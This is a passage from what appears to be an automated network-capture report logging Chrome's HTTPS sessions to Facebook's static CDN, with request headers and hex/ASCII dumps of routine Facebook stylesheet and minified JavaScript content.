2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 36 34 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 36 32 64 65 67 29 7d 31 30 30 25 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 33 36 2e 34 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 39 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 31 39 39 39 32 76 37 2d 42 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 33 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 7d 39 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 7d 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 7d 2e 78 31 39 72 6b 76 67 33 7b 2d 2d 61 62 72 61 2d 69 63 6f 6e 2d 63 6f 6d 70 6f 73 65 72 2d 73 65 6e 64 2d 61 72 72 6f 77 3a 74 72 61 6e 73 70 61 72 Data Ascii: 64px;transform:rotate(162deg)}100%{stroke-dashoffset:36.4px;transform:rotate(-90deg)}}@keyframes x19992v7-B{0%{transform:scale(1)}30%{transform:scale(1.1)}95%{transform:scale(1.2)}100%{transform:scale(1)}}.x19rkvg3{--abra-icon-composer-send-arrow:transpar
2024-04-11 20:35:30 UTC	1500	IN	Data Raw: 65 2d 64 61 73 68 61 72 72 61 79 3a 30 20 31 30 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 31 30 36 7d 31 30 30 25 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 37 39 20 31 30 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 69 34 34 6e 61 39 2d 42 7b 66 72 6f 6d 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 7d 74 6f 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 34 33 2e 39 38 70 78 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 69 6c 69 33 67 70 2d 42 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 30 30 25 2c 30 29 7d 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 7d 7d 40 6b 65 79 Data Ascii: e-dasharray:0 106;stroke-dashoffset:-106}100%{stroke-dasharray:79 106;stroke-dashoffset:0}}@keyframes xi44na9-B{from{stroke-dashoffset:0}to{stroke-dashoffset:43.98px}}@keyframes xili3gp-B{0%{transform:translate(-100%,0)}100%{transform:translate(0,0)}}@key
2024-04-11 20:35:30 UTC	14884	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 36 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 6a 7a 79 32 67 6f 2d 42 7b 30 25 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 30 7d 31 25 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 6c 6e 76 68 32 62 2d 42 7b 30 25 7b 6d 61 78 2d 77 69 64 74 68 3a 30 7d 32 30 25 7b 6d 61 78 2d 77 69 64 74 68 3a 32 35 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 38 70 78 7d 38 30 25 7b 6d 61 78 2d 77 69 64 74 Data Ascii: {margin-bottom:-6px;opacity:0}100%{margin-bottom:10px;opacity:1}}@keyframes xjzy2go-B{0%{display:none;opacity:0}1%{display:block;opacity:0}100%{display:block;opacity:1}}@keyframes xlnvh2b-B{0%{max-width:0}20%{max-width:250px;padding-right:8px}80%{max-widt
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 72 2d 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 78 69 73 68 36 39 65 7b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 63 6f 6e 74 61 69 6e 7d 2e 78 6a 37 35 34 71 6a 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 6a 37 71 61 35 6f 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 66 64 73 2d 67 72 61 79 2d 37 35 29 7d 2e 78 6b 64 73 70 73 76 7b 6f 75 74 6c 69 6e 65 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 61 75 74 6f 20 76 61 72 28 2d 2d 73 69 7a 65 2d 32 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 6b 65 78 61 69 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 Data Ascii: r-bottom:4px solid var(--primary-button-background)}.xish69e{overscroll-behavior:contain}.xj754qj{border-top:none!important}.xj7qa5o{border-top:1px solid var(--fds-gray-75)}.xkdspsv{outline:transparent auto var(--size-2)!important}.xkexaii{background-posi
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 32 70 78 20 76 61 72 28 2d 2d 42 61 73 65 50 75 6c 73 65 45 66 66 65 63 74 5f 70 75 6c 73 65 43 6f 6c 6f 72 29 7d 2e 78 31 32 71 61 70 7a 6e 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 34 70 78 20 30 20 76 61 72 28 2d 2d 73 68 61 64 6f 77 2d 32 29 7d 2e 78 31 32 71 70 35 63 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 6f 64 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 2c 76 61 72 28 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 65 67 6f 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 31 32 71 76 77 64 67 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 38 2e 32 73 7d 2e 78 31 32 72 7a 30 77 73 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 31 32 70 78 7d 2e 78 31 32 73 39 7a 61 71 7b 66 6c 65 78 2d 62 61 73 69 73 3a 31 37 37 70 78 7d Data Ascii: 2px var(--BasePulseEffect_pulseColor)}.x12qapzn{box-shadow:0 1px 4px 0 var(--shadow-2)}.x12qp5cl{font-family:var(--body-font-family),var(--font-family-segoe)!important}.x12qvwdg{animation-delay:8.2s}.x12rz0ws{margin-right:-12px}.x12s9zaq{flex-basis:177px}
2024-04-11 20:35:30 UTC	14884	IN	Data Raw: 28 2d 2d 73 68 61 64 6f 77 2d 32 29 7d 2e 78 31 38 31 71 66 39 7a 7b 6f 72 64 65 72 3a 37 38 7d 2e 78 31 38 32 69 71 62 38 7b 6f 72 64 65 72 3a 34 7d 2e 78 31 38 32 6e 61 6b 38 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 7d 2e 78 31 38 32 7a 77 70 67 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 33 70 78 7d 2e 78 31 38 33 36 73 77 78 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 20 72 69 67 68 74 2c 72 67 62 61 28 76 61 72 28 2d 2d 67 72 65 65 6e 2d 35 29 29 2c 72 67 62 61 28 76 61 72 28 2d 2d 67 72 65 65 6e 2d 34 29 29 29 7d 2e 78 31 38 33 63 6f 63 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 61 66 61 7d 2e 78 31 38 33 64 61 38 6d 7b 62 61 Data Ascii: (--shadow-2)}.x181qf9z{order:78}.x182iqb8{order:4}.x182nak8{background-repeat:repeat}.x182zwpg{margin-left:13px}.x1836swx{background-image:linear-gradient(to top right,rgba(var(--green-5)),rgba(var(--green-4)))}.x183coci{background-color:#afa}.x183da8m{ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49910	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	599	OUT	GET /rsrc.php/v3/yh/r/nzRrvRgzNjX.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1677	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: tOkxjAbJrweLx44cYz8/GA== Expires: Fri, 11 Apr 2025 00:02:09 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: dpHTp8Dnz5LsLJbeVd4QEZPWKUWBjn1/PZ+IBYK09SIk9sPmICJd+cP5mycSlPQTY2Imo0OR65jEnLVBejZqig== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=3, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 277270
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:30 UTC	16138	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 54 68 69 73 7c 7c 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 73 65 6c 66 7c 7c 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 5f 5f 6c 69 73 74 65 6e Data Ascii: /FB_PKG_DELIM/"use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listen
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 2c 64 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 63 26 26 61 28 62 2e 70 72 6f 74 6f 74 79 70 65 2c 63 29 3b 64 26 26 61 28 62 2c 64 29 3b 72 65 74 75 72 6e 20 62 7d 7d 28 29 3b 62 2e 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2c 62 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 62 26 26 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 5f 5f 73 75 70 65 72 43 6f 6e 73 74 72 75 63 74 6f 72 5f 5f 3d 62 3b 72 65 74 75 72 6e 20 62 7d 3b 62 2e 77 72 61 70 4e 61 74 69 76 65 53 75 70 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 Data Ascii: ,d)}}return function(b,c,d){c&&a(b.prototype,c);d&&a(b,d);return b}}();b.inheritsLoose=function(a,b){Object.assign(a,b);a.prototype=Object.create(b&&b.prototype);a.prototype.constructor=a;a.__superConstructor__=b;return b};b.wrapNativeSuper=function(a){va
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 2e 50 52 45 56 49 4f 55 53 5f 46 52 41 4d 45 5d 3b 6e 2e 73 74 61 63 6b 3b 74 68 72 6f 77 20 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 61 2c 62 29 7b 76 61 72 20 64 3d 22 4d 69 6e 69 66 69 65 64 20 69 6e 76 61 72 69 61 6e 74 20 23 22 2b 61 2b 22 3b 20 25 73 22 3b 62 2e 6c 65 6e 67 74 68 3e 30 26 26 28 64 2b 3d 22 20 50 61 72 61 6d 73 3a 20 22 2b 62 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 25 73 22 7d 29 2e 6a 6f 69 6e 28 22 2c 20 22 29 29 3b 61 3d 28 68 7c 7c 28 68 3d 63 28 22 45 6e 76 22 29 29 29 2e 73 68 6f 77 5f 69 6e 76 61 72 69 61 6e 74 5f 64 65 63 6f 64 65 72 3d 3d 3d 21 30 3f 22 76 69 73 69 74 20 22 2b 6a 28 61 2c 62 29 2b 22 20 74 6f 20 73 65 65 20 74 68 65 20 66 75 6c 6c 20 6d 65 73 73 61 67 65 2e 22 3a 22 22 3b 72 Data Ascii: .PREVIOUS_FRAME];n.stack;throw n}}function i(a,b){var d="Minified invariant #"+a+"; %s";b.length>0&&(d+=" Params: "+b.map(function(a){return"%s"}).join(", "));a=(h\|\|(h=c("Env"))).show_invariant_decoder===!0?"visit "+j(a,b)+" to see the full message.":"";r
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 3d 32 30 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 74 68 69 73 2e 70 72 6f 6a 65 63 74 3d 61 2c 74 68 69 73 2e 65 76 65 6e 74 73 3d 5b 5d 2c 74 68 69 73 2e 6d 65 74 61 64 61 74 61 3d 6e 65 77 20 41 28 29 2c 74 68 69 73 2e 74 61 61 6c 4f 70 63 6f 64 65 73 3d 5b 5d 7d 76 61 72 20 62 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 62 2e 24 31 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 53 74 72 69 6e 67 28 63 29 2c 65 3d 74 68 69 73 2e 65 76 65 6e 74 73 2c 66 3d 74 68 69 73 2e 70 72 6f 6a 65 63 74 2c 68 3d 74 68 69 73 2e 6d 65 74 61 64 61 74 61 2c 69 3d 74 68 69 73 2e 62 6c 61 6d 65 4d 6f 64 75 6c 65 2c 6a 3d 74 68 69 73 2e 66 6f 72 63 65 64 4b 65 79 2c 6b 3d 74 68 69 73 2e 65 72 72 6f 72 2c 6c 3b 66 6f Data Ascii: =20,za=function(){function a(a){this.project=a,this.events=[],this.metadata=new A(),this.taalOpcodes=[]}var b=a.prototype;b.$1=function(b,c){var d=String(c),e=this.events,f=this.project,h=this.metadata,i=this.blameModule,j=this.forcedKey,k=this.error,l;fo
2024-04-11 20:35:30 UTC	1500	IN	Data Raw: 79 2e 69 73 41 72 72 61 79 28 61 29 2c 65 3d 30 2c 61 3d 64 3f 61 3a 61 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 5d 28 29 3b 3b 29 7b 76 61 72 20 66 3b 69 66 28 64 29 7b 69 66 28 65 3e 3d 61 2e 6c 65 6e 67 74 68 29 62 72 65 61 6b 3b 66 3d 61 5b 65 2b 2b 5d 7d 65 6c 73 65 7b 65 3d 61 2e 6e 65 78 74 28 29 3b 69 66 28 65 2e 64 6f 6e 65 29 62 72 65 61 6b 3b 66 3d 65 2e 76 61 6c 75 65 7d 66 3d 66 3b 66 6f 72 28 76 61 72 20 66 3d 66 2c 67 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 2c 68 3d 30 2c 66 3d 67 3f 66 3a 66 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 Data Ascii: y.isArray(a),e=0,a=d?a:a[typeof Symbol==="function"?Symbol.iterator:"@@iterator"]();;){var f;if(d){if(e>=a.length)break;f=a[e++]}else{e=a.next();if(e.done)break;f=e.value}f=f;for(var f=f,g=Array.isArray(f),h=0,f=g?f:f[typeof Symbol==="function"?Symbol.ite
2024-04-11 20:35:30 UTC	14884	IN	Data Raw: 69 76 65 42 6f 6f 74 6c 6f 61 64 73 3d 75 3b 67 2e 6e 6f 74 69 66 79 48 61 73 74 65 52 65 73 70 6f 6e 73 65 3d 76 3b 67 2e 6f 6e 48 61 73 74 65 52 65 73 70 6f 6e 73 65 3d 77 3b 67 2e 6f 6e 52 65 73 6f 75 72 63 65 49 6e 4c 6f 6e 67 54 61 69 6c 42 54 4d 61 6e 69 66 65 73 74 3d 78 3b 67 2e 6e 6f 74 69 66 79 52 65 73 6f 75 72 63 65 49 6e 4c 6f 6e 67 54 61 69 6c 42 54 4d 61 6e 69 66 65 73 74 3d 79 3b 67 2e 6f 6e 42 6f 6f 74 6c 6f 61 64 65 72 43 61 6c 6c 62 61 63 6b 54 69 6d 65 6f 75 74 3d 7a 3b 67 2e 6e 6f 74 69 66 79 42 6f 6f 74 6c 6f 61 64 65 72 43 61 6c 6c 62 61 63 6b 54 69 6d 65 6f 75 74 3d 41 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 70 65 72 66 6f 72 6d 61 6e 63 65 41 62 73 6f 6c 75 74 65 4e 6f 77 22 2c 5b 22 70 65 72 66 6f 72 6d 61 6e 63 65 22 5d 2c 28 66 Data Ascii: iveBootloads=u;g.notifyHasteResponse=v;g.onHasteResponse=w;g.onResourceInLongTailBTManifest=x;g.notifyResourceInLongTailBTManifest=y;g.onBootloaderCallbackTimeout=z;g.notifyBootloaderCallbackTimeout=A}),98);__d("performanceAbsoluteNow",["performance"],(f
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 5b 5d 3b 6a 5b 6d 5d 3d 6e 3b 69 66 28 6a 5b 6d 5d 21 3d 3d 6e 29 72 65 74 75 72 6e 20 63 7d 6a 3d 6a 5b 6d 5d 7d 65 6c 73 65 20 6b 5b 6c 2b 31 5d 26 26 21 6b 5b 6c 2b 31 5d 2e 6d 61 74 63 68 28 2f 5e 5c 64 7b 31 2c 33 7d 24 2f 29 3f 6a 2e 70 75 73 68 28 7b 7d 29 3a 6a 2e 70 75 73 68 28 5b 5d 29 2c 6a 3d 6a 5b 6a 2e 6c 65 6e 67 74 68 2d 31 5d 7d 6a 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 6b 5b 6b 2e 6c 65 6e 67 74 68 2d 31 5d 3d 3d 3d 22 22 3f 6a 2e 70 75 73 68 28 69 29 3a 6a 5b 68 28 6b 5b 6b 2e 6c 65 6e 67 74 68 2d 31 5d 29 5d 3d 69 7d 7d 72 65 74 75 72 6e 20 63 7d 66 2e 64 65 73 65 72 69 61 6c 69 7a 65 3d 61 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 66 6c 61 74 74 65 6e 50 48 50 51 75 65 72 79 44 61 74 61 22 2c 5b 22 69 6e 76 61 72 69 61 Data Ascii: [];j[m]=n;if(j[m]!==n)return c}j=j[m]}else k[l+1]&&!k[l+1].match(/^\d{1,3}$/)?j.push({}):j.push([]),j=j[j.length-1]}j instanceof Array&&k[k.length-1]===""?j.push(i):j[h(k[k.length-1])]=i}}return c}f.deserialize=a}),66);__d("flattenPHPQueryData",["invaria
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 7c 7c 28 67 3d 62 28 22 55 52 49 42 61 73 65 22 29 29 29 2e 69 73 44 6f 6d 61 69 6e 53 75 62 64 6f 6d 61 69 6e 4f 66 44 6f 6d 61 69 6e 28 61 2c 63 2c 68 7c 7c 28 68 3d 62 28 22 50 48 50 51 75 65 72 79 53 65 72 69 61 6c 69 7a 65 72 22 29 29 29 7d 29 7d 65 2e 65 78 70 6f 72 74 73 3d 7b 69 73 55 72 69 4e 65 65 64 52 61 77 51 75 65 72 79 3a 61 2c 69 73 44 6f 6d 61 69 6e 4e 65 65 64 52 61 77 51 75 65 72 79 3a 6a 7d 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 69 66 52 65 71 75 69 72 65 64 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 65 3b 64 26 26 64 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 5b 61 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 65 3d 61 7d 29 3b 69 66 28 Data Ascii: \|\|(g=b("URIBase"))).isDomainSubdomainOfDomain(a,c,h\|\|(h=b("PHPQuerySerializer")))})}e.exports={isUriNeedRawQuery:a,isDomainNeedRawQuery:j}}),null);__d("ifRequired",[],(function(a,b,c,d,e,f){function a(a,b,c){var e;d&&d.call(null,[a],function(a){e=a});if(
2024-04-11 20:35:30 UTC	14884	IN	Data Raw: 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 24 33 7d 3b 65 2e 5f 5f 73 65 74 52 65 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 24 32 3d 61 3b 64 28 22 4a 53 52 65 73 6f 75 72 63 65 45 76 65 6e 74 73 22 29 2e 6e 6f 74 69 66 79 28 74 68 69 73 2e 24 31 2c 74 68 69 73 2e 24 32 2c 22 43 52 45 41 54 45 44 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 61 2e 6c 6f 61 64 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 66 3d 61 2c 67 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 2c 68 3d 30 2c 66 3d 67 3f 66 3a 66 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 Data Ascii: this.constructor.$3};e.__setRef=function(a){this.$2=a;d("JSResourceEvents").notify(this.$1,this.$2,"CREATED");return this};a.loadAll=function(a,b){var c={},e=!1;for(var f=a,g=Array.isArray(f),h=0,f=g?f:f[typeof Symbol==="function"?Symbol.iterator:"@@itera

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49909	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	874	OUT	GET /rsrc.php/v3iN7c4/yv/l/en_US/dEY5RMcLccpsR2PQH4woE5w1ZqVVdX_rPk8WPCHwbr_YQzOjQ18M7Ra12N9NG_IRRaTGo7odb2I9QML-m_DiQrfXHMMUHG7qZPnqfYvfDE_D-SyXAHDe0i-84LGpgtjOXUJ-VAblIutlJuDgtkY4r4Ezzwkp8GwrOMn7m1Rdzuzi16ygGc1wa-Oq19cr_l1DuzAtWVDh4cn1CMxub3y91qmloYqX_eJMlvvhSHqgFRlCsGN0FHzi95_wmB-51YxoStyBz2gE2pEQn4HVER6.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: t4Arf/O8xm4hsqEiMAUx9w== Expires: Fri, 11 Apr 2025 20:12:01 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: G8g0JXirD1N/HzPTSD1a8BdqZgBkkULZhiSJwl7gAjQe6JkwLW6wxF0bm2SywvurZmPfloJCZOkHjHL0iqwNQA== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=9, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 721583
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 3b Data Ascii: ;
